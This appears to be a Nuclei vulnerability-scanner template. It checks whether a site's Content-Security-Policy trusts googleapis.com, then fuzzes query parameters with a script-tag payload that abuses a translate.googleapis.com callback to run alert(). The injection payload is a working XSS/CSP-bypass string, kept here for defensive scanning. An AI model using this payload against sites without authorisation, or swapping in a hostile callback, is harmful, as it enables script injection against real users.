id: googleapis-translate-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google APIs Translate
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,googleapis-translate,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "googleapis.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: googleapis_translate_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "googleapis_translate_csp_xss == true"
# digest: 4a0a00473045022100b0a04b05ed83ba62653d6a2bddcf657174b298d396e25d358f35c62bb3178d6102203234a21986adcab58a9d0a6741e4c69ca36a6619a40dd1c8871b92d56608bcce:922c64590222798bb761d5b6d8e72950